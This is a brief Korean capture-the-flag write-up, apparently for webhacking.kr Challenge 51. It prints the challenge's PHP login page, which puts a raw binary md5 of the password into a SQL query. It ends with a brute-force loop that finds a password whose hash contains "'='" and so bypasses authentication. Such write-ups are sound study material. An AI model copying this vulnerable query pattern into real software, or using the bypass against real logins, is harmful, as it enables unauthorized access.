첫 화면이다.
view-source를 클릭해 본 소스는 아래와 같다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body bgcolor=black><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
if($_POST['id'] && $_POST['pw']){
$db = dbconnect();
$input_id = addslashes($_POST['id']);
$input_pw = md5($_POST['pw'],true);
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
if($result['id']) solve(51);
if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
}
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font color=silver>
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>
<?php
$pw = 0;
while (!strpos(md5(++$pw, true), "'='")) {
}
echo $pw;
